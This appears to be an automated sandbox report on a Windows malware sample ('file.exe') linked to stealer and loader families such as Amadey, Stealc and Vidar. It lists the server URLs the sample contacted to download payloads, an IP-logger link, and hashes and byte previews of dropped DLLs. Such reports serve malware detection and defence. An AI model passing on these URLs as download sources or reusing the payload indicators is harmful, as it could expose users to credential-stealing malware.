http://80.82.65.70/files/download6	file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadM~r	file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download0/files/download	file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/key=	file.exe, 00000000.00000002.2609988074.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
http://80.82.65.70/files/downloadA	file.exe, 00000000.00000003.2057643849.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082783354.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2032603186.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/soft/downloadi~N	file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	file.exe, 00000000.00000003.2330322141.000000000565E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2327084794.000000000581C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330368931.0000000005601000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2328880830.000000000581C000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empS	file.exe, 00000000.00000002.2611981318.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/1Pz8p7	file.exe, 00000000.00000003.2330322141.000000000565E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2327084794.000000000581C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330368931.0000000005601000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2328880830.000000000581C000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/files/downloadF	file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download#	file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://80.82.65.70/files/download$	file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.82.65.70	unknown	Netherlands		202425	INT-NETWORKSC	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574107
Start date and time:	2024-12-12 23:07:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21, 4.175.87.197, 13.107.246.63, 40.126.53.18
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:08:34	API Interceptor	24350x Sleep call for process: file.exe modified
17:09:33	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
80.82.65.70	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70/soft/download
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	80.82.65.70/files/download
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	BsVEQQnfyN.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INT-NETWORKSC	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	80.82.65.70
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	BsVEQQnfyN.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_fafd47531ab6d510499988ddace487f076f293_c8b7b6aa_00a9cc1a-0deb-4aff-90f7-fb0691f7ac25\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9701287623834172
Encrypted:	false
SSDEEP:	192:22NE0+vxPiA0u1AXI3jud3szuiFNZ24IO8TVBV:2K4xou1AAj3zuiFNY4IO8X
MD5:	7D7E8209FD533394C0B1A29CE6286F82
SHA1:	ECB60761C681B008B3479944CC1D6E166DAA8640
SHA-256:	69F1EC8671E9EE13D3C62DCFB59FF5651F6250BCD0DBFC59A2096912E31B7DBF
SHA-512:	206C1899E67BF3BC17C14C0FFFD3F1508C36782635031924C99D5D9BFBDA5390E39969006C7A3F3748607413E35E1D7A63BFD2E3037C745A38F63854A405FE03
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.5.1.4.9.4.8.0.1.8.7.5.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.5.1.4.9.4.8.4.8.7.5.0.2.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.0.a.9.c.c.1.a.-.0.d.e.b.-.4.a.f.f.-.9.0.f.7.-.f.b.0.6.9.1.f.7.a.c.2.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.d.8.5.2.c.8.-.f.1.7.d.-.4.7.8.4.-.a.c.c.e.-.6.2.f.3.8.b.d.f.a.4.b.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.6.c.-.0.0.0.1.-.0.0.1.4.-.1.c.1.c.-.c.8.5.0.e.2.4.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.4.9.7.9.f.a.6.0.7.e.3.8.d.2.7.9.0.5.b.1.f.1.5.1.f.1.c.2.5.8.0.0.0.0.1.5.0.6.!.0.0.0.0.c.9.a.f.a.b.3.e.1.1.7.1.5.3.f.4.6.9.7.2.3.1.0.2.2.1.4.a.9.0.7.6.8.5.a.5.0.9.d.6.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCCA.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 12 22:09:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46130
Entropy (8bit):	2.54394679324337
Encrypted:	false
SSDEEP:	384:vyOr2kE5jD1vf+QfkHAwxgSA8bwc0a1Lm4U:Ksp0jD1vf+QsHA7SJwzQU
MD5:	D2989A3B044E7E0B67A881BD74DF5278
SHA1:	2518689C898AAF533F0933359576B972FB5DF8CD
SHA-256:	CD2D7072F110986C59729F71A2EE9DDEABBC75B5A22BAF992B4E84C5EB555629
SHA-512:	D7633347E5133C96893098E374A448E302DF5E17BE694BE5E082C778CE083E955A48BF108E30EF61B411DCAF768C70785D51AA0C43DF127A3074669B2C7B9D97
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........_[g............4...........8...<.......T....,..........T.......8...........T............A...r..........t...........` ..............................................................................eJ....... ......GenuineIntel............T.......l....^[g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD5.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8298
Entropy (8bit):	3.687383642944685
Encrypted:	false
SSDEEP:	192:R6l7wVeJPCP6I6Y9sSUhVQgmfBGW6pDH89bfgsfJ11m:R6lXJq6I6YGSUhSgmfZffzfJW
MD5:	85310D2851FB04D0BFD79140438968E6
SHA1:	3177DBD044DC4FD5C02E3E9247DD985E0C3335EB
SHA-256:	67C2165CC0BBF19F1D2DA3DEB055D20815CB4257E61EAFB3F4AAC1E1A9F66DB4
SHA-512:	EBE1308551FBD67A4F01A8711D2B8A6233630637C361D58644617B17D1FF3207BF8881D50AD4C699F6AAABEF5526227AB1B8049DDA2E0A647B939F29667D6154
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE15.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	4.429487249028923
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUBJg77aI9ozWpW8VYzYm8M4JBRFK+q82gkg9d+Rd:uIjfUTI7aC7VjJIAVr+Rd
MD5:	50C6AD9D20F841F68552D7DF2AD076F7
SHA1:	7FB0FE04F5672E0F5FEC58E73573494590B4E4F7
SHA-256:	486CCDD0379E990B05E6795B0AC7AE6B8B8EB08E60F4A0CDF661C36895D0347D
SHA-512:	FCA7CCA91446DCB562BE8C966EFA43CD5218E05237C81DB8EFAABA6BD37D25E88F3A2815014EAEDF43D0D3201D0D3B9AA964D2F639457FD77D2E59936F8674B2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="628631" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Mk4JWS27SO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\key[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1250000
Entropy (8bit):	7.914044333202875
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60:7rPD/8I/8ly+Zrr2h60
MD5:	06BCE98464ED237227246A609B8A2A80
